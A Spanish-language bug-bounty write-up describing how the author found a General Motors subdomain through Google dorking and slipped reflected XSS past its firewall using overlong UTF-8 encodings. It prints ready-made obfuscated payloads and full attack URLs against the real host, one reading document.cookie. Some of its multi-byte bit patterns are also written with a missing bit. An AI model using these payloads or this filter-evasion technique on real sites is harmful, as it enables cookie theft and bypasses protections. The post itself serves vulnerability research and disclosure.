Cross Site Scripting WAF bypass ModSecurity in BugBounty

Breaking Web Filters With Unicode Transformation

Resulta que me tocó checar el programa de recompensas por la empresa General Motors www.gm.com en el sitio web de hackerone.com ,  donde se localizan varias empresas anunciando su programa de recompensas, de esta manera pagan a quien encuentre algún fallo en sus sistemas.

Es ahí cuando me entró la curiosidad por encontrar alguna vulnerabilidad en alguna aplicación web en General Motors.

Con google hacking encontré un subdominio de la empresa, donde hacía ciertas consultas por parámetros GET en su URL.

site:gm.com php

google

url_found

Es aquí cuando ya tengo algunos parámetros de la URL por testear como un XSS.

 

Cuando inyecto por ejemplo, un ataque xss  me deniega el acceso:

http://akamai.adambackend.gm.com/vis/index.php?language=»><script>alert(1)</script>  

Acces denied

Intenté con el bypass de muchos filtros para burlar el firewall pero no funcionaban, es aquí cuando accedí a la técnica de la transformación Unicode en distintos rangos de bits.

Rompiendo filtros webs con transformación Unicode

Unicode puede soportar hasta 4 bytes para cada caracter , pero la mayoría de los unicode son de 8 bits (o 1 byte ) . Por ejemplo en la codificación unicode con el caracter menor-que (<) puede ser visto como %3c en una URL encoded. Esta es una transformación de caracteres unicode de 8 bits que normalmente podemos ver. Algunos sitios webs, sin embargo, no filtran secuencias Unicode de 16 o más bits. Esto nos va servir para evadir algún tipo de firewall de aplicaciones webs (waf) presente, que es el que tenemos en este caso.

 

Cambiando el unicode de 8 bits a uno mayor
Lo primero en hacer es convertir esto en una cadena binaria de 8 bits. Este sitio web lo hace automáticamente. http://www.asciitohex.com/

Para convertir a un unicode mas largo , se sigue este patrón donde «X» es el carácter en la secuencia original.
Patrones:
11000000 10xxxxxx   -> 16-bit de largo
11100000 1000000 10xxxxxx   -> 24-bit de largo
11110000 1000000 1000000 10xxxxxx  -> 32-bit de largo

Así que vamos a convertir el carácter menor-que «<» siguiendo el anterior patrón:

00111100 -> 8-bit de largo
11000000 10111100 -> 16-bit de largo
11100000 1000000 10111100 -> 24-bit de largo
11110000 1000000 1000000 10111100 -> 32-bit de largo

 

conversion1

 

Vamos a tomar el resultado binario de la conversión de 16 bits para pasarlo a url-encoded

binary

binary-result

%c0%bc  –> 16 bits
%e0%80%bc –> 24 bits
%f0%80%80%bc –> 32 bits

 

Payload XSS a ofuscar:
«><script>alert(1)</script>

 

Carácter: «
11000000 10100010 -> 16-bit
url-encoding: %C0%A2

Carácter: >
11000000 10111110 -> 16-bit
url-encoding: %C0%BE

Carácter: <
11000000 10111100 -> 16-bit
url-encoding: %C0%BC

Carácter: (
11000000 10101000 -> 16-bit
url-encoding: %C0%A8

Caracter: /
11000000 10101111 -> 16-bit
url-encoding: %C0%AF

Caracter: )
11000000 10101001 -> 16-bit
url-encoding: %C0%A9

 

Payload xss ofuscado a 16 bits:
%C0%A2%C0%BE%C0%BCscript%C0%BEalert%C0%A81%C0%A9%C0%BC%C0%AFscript%C0%BE

 

Bypasseando con payloads ofuscados en 16 bits en parámetros vulnerables:
http://akamai.adambackend.gm.com/vis/index.php?language=%C0%A2%C0%BE%C0%BCscript%C0%BEalert%C0%A81%C0%A9%C0%BC%C0%AFscript%C0%BE

bypass

http://akamai.adambackend.gm.com/vis/index.php?brand=%C0%A2%C0%BE%C0%BCscript%C0%BEalert%C0%A8document.cookie%C0%A9%C0%BC%C0%AFscript%C0%BE

bypass2

Cuando reporté esta vulnerabilidad me respondieron que ya había sido reportada por otra persona, creo no tenía mucho tiempo de reportarse porque aun no había sido reparada, al final me dí cuenta de esto, en cambio si hubiese ganado el reporte me hubiera obtenido una ganancia.

 

Zer0max , saludos!!

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *